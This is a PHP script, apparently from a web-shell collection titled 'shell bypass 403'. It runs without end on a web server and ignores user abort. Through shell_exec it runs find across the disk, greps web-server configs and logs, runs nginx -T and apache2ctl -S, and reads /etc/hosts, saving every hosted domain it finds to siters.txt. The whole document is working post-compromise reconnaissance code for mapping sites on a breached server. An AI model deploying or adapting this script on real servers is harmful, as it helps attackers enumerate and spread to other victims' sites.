shell bypass 403
<?php
/**
* FULL SYSTEM DOMAIN SCANNER (Linux)
* 1. Scans Web Configs & Logs
* 2. Scans Runtime Commands
* 3. RECURSIVE SYSTEM-WIDE DIRECTORY SCAN (finds directory names that look like domains)
* 4. Infinite Execution
*/
if (stripos(PHP_OS, 'LINUX') === false) {
die("Error: This script is only for Linux.\n");
}
set_time_limit(0);
ignore_user_abort(true);
$outputFile = 'siters.txt';
$sleepInterval = 60; // Full system scan is heavy, interval set to 60s
$domainRegex = '/[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+/i';
echo "Deep Scanner Started. Scanning all configs, logs, and directory names...\n";
while (true) {
$foundPool = [];
// --- 1. FULL DISK DIRECTORY SCAN (New Method) ---
// Finds directories like /www/wwwroot/example.com or /home/my.site.org
// Using 'find' command for high-speed recursive searching
$dirOutput = shell_exec("find / -maxdepth 5 -type d -regextype posix-extended -regex '.*\/[a-z0-9.-]+\.[a-z]{2,}' 2>/dev/null");
if ($dirOutput) {
$paths = explode("\n", $dirOutput);
foreach ($paths as $path) {
$folderName = basename($path);
if (preg_match($domainRegex, $folderName, $matches)) {
$foundPool[] = $matches[0];
}
}
}
// --- 2. CONFIG FILES & LOGS SCAN ---
$searchPaths = [
'/etc/nginx/', '/etc/apache2/', '/usr/local/nginx/', '/www/server/panel/',
'/var/log/', '/www/wwwlogs/'
];
foreach ($searchPaths as $path) {
if (!is_dir($path)) continue;
// Search inside files for domain patterns
$grepOutput = shell_exec("grep -rE '(server_name|ServerName|ServerAlias)' $path 2>/dev/null");
if ($grepOutput) {
preg_match_all($domainRegex, $grepOutput, $matches);
if (!empty($matches[0])) $foundPool = array_merge($foundPool, $matches[0]);
}
}
// --- 3. SYSTEM RUNTIME & HOSTS ---
$runtimeCmds = [
'nginx -T',
'apache2ctl -S',
'httpd -S',
'cat /etc/hosts'
];
foreach ($runtimeCmds as $cmd) {
$out = shell_exec("$cmd 2>/dev/null");
if ($out) {
preg_match_all($domainRegex, $out, $matches);
if (!empty($matches[0])) $foundPool = array_merge($foundPool, $matches[0]);
}
}
// --- 4. DATA CLEANING & INCREMENTAL SAVE ---
$uniqueDomains = array_unique(array_filter($foundPool, function($val) {
$val = strtolower(trim($val, ".; "));
return !empty($val) &&
strlen($val) > 4 &&
$val !== 'localhost' &&
!filter_var($val, FILTER_VALIDATE_IP);
}));
// Load and Append
$existing = file_exists($outputFile) ? explode("\n", strtolower(trim(file_get_contents($outputFile)))) : [];
$newOnes = array_diff($uniqueDomains, $existing);
if (!empty($newOnes)) {
file_put_contents($outputFile, implode("\n", $newOnes) . "\n", FILE_APPEND | LOCK_EX);
echo "[" . date('H:i:s') . "] Discovered " . count($newOnes) . " new domains from configs and directories.\n";
}
sleep($sleepInterval);
}